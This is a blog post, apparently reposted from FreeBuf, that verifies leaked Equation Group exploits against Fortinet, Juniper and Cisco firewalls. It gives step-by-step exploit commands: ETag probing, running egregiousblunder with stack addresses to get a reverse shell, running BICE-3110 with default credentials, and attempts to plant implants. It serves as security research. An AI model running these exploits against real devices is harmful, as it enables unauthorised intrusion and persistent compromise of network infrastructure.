NSA(美国国安局)泄漏Exploit分析
*本文原創作者:tigerlab,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
2016年8月16日,黑客團伙“The Shadow Brokers”聲稱自己入侵了“Equation Group“(方程式組織),并將他們從該黑客組織的計算機系統中所獲取到的部分黑客工具泄漏在了互聯網上。
泰格實驗室第一時間對此次泄露的文件進行了深入分析,多數漏洞的驗證分析情況已有同行分享,現將我們對另外三個未見分析的漏洞的驗證分析分享給大家,其中包括fortinet、juniper、Cisco三種設備漏洞。
1、fortinet漏洞驗證
該漏洞主要是Cookie解析器存在緩沖區溢出漏洞,遠程攻擊者可通過發送特制的HTTP請求利用該漏洞執行任意代碼。
CVE編號:CVE-2016-6909
以下版本受到影響:
Fortinet FortiOS 4.1.11之前的4.x版本,
4.2.13之前的4.2.x版本,
4.3.9之前的4.3.x版本,
FortiSwitch 3.4.3之前的版本。
漏洞驗證過程如下:
獲取目標etag 判斷版本類型
curl -X HEAD –v http://xxx.xxx.xxx.xxx/
Etag:480d772a
如果etag小于4DXXXXXX,適用版本 3;
如果etag 大于 4DXXXXXX,判斷是否需要cookienum
curl -X HEAD –v http://xxx.xxx.xxx.xxx/login
APSCOOKIE=0&0 ,在執行命令時不需要設置cookienum
APSCOOKIE_2930800995=0&0 ,在執行命令時需要設置cookienum,且版本為4nc
測試etag小于4DXXXXXX,且不存在cookienum
1)獲取溢出地址
判斷etag是否在存在于配置文件EGBL.config中,例:
如不存在可通過以下命令獲取堆棧地址:
./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx-p 80 -l 5432 –ssl 0 -v –config ./EGBL.config –wam 10
該命令只適用于etag小于4DXXXXXX,且不存在cookienum,在其他版本中均失效,無法獲取堆棧地址。
命令執行如下:
成功獲取堆棧地址 0Xbffff274
2)執行shellcode,返回shell
可通過直接傳入stack堆棧地址來反彈shell,
./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx -p 80 -l 5432 --ssl 0 -v --stack 0xbffff274 --nopen --gen 3
也可將etag寫入配置文件
ETAG = 480d772a : 0xbffff274
./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx -p 80 -l 5432 --ssl 0 -v –etag 480d772a --nopen --gen 3 --config ./EGBL.config
5.png
已成功返回shell,執行-ls命令獲取文件目錄信息。
本次測試主要低版本的飛塔設備,etag小于4DXXXXXX。由于未深入該漏洞exploit溢出過程,所以針對其他版本無法通過命令獲取stack的,通過配置文件中的內存地址遍歷進行了測試,也可以成功反彈shell。
2、juniper漏洞驗證
該漏洞需要先獲得juniper設備口令,在根據設備版本型號進行攻擊,獲取系統權限。
telnet登陸獲取設備版本信息
設備版本號是ssg5ssg20.6.1.0r2.0,查看Dats里面是否存在該設備文件
漏洞復現
在BARGLEE文件夾中BICE-3110是juniper漏洞利用程序
./BICE-3110 -R ... //目標ip
-D 127.0.0.1 //接收反彈shell 主機ip
-d 5555 //接收反彈shell 主機端口
-m telnet //登陸模式 ssh/telnet
-t ../..//Dats/ssg5ssg20.6.1.0r2.0.xml //攻擊代碼配置
-u netscreen //設備賬號
-p netscreen //設備口令
成功之后返回設備基本信息,可選擇2種shell權限,juniper交互shell及BI shell。
Interactiver Console 實際就是juinper telnet進去之后的命令操作。
BI shell
可見可以執行的選項共有6項:
返回目標狀態
卸載BARGLEE
安裝BARGLEE
讀內存
寫內存
命令執行
根據script中BARICE.txt安裝說明,嘗試進行barglee植入
多次嘗試bin文件類型,均未能成功植入,不能對其進行深入性分析。
3、Cisco EPBA漏洞驗證
該漏洞與juniper一樣需要先獲取設備口令,之后通過溢出攻擊獲取系統權限。
漏洞復現
顯示結果為received mtu –EPBA: ok, payload: ok,表示溢出成功。
與此同時,PIX722 防火墻控制端則會顯示緩沖區溢出
接下來我們根據操作提示執行bride-1120這個腳本, 在執行“1”選項后可以判斷是否正常連接,連接成功則返回Session D-H Key
執行“8”之后可以查看BRICE的自帶shell功能。
多次嘗試寫入BatigerlabnanaGlee提示版本不對無法寫入。
分析發現其讀取目標文件前4個字節來得到版本號,通過對文件夾內所有文件進
行了搜索也未找到合適的植入程序。
總結
本文主要分享的是forinet、juniper、cisco三個漏洞利用文件的驗證思路及過程。在
分析過程中我們進行了大量測試實驗,想盡可能還原其整個攻擊流程,但由于部分關鍵文件缺失,未能繼續對其進行完整分析。如果有小伙伴有更好的分析思路,可與我們交流。
本文轉自d1net(轉載)
總結
以上是生活随笔為你收集整理的NSA(美国国安局)泄漏Exploit分析的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: 常见的开发错误
- 下一篇: 第123天:移动web开发中的常见问题
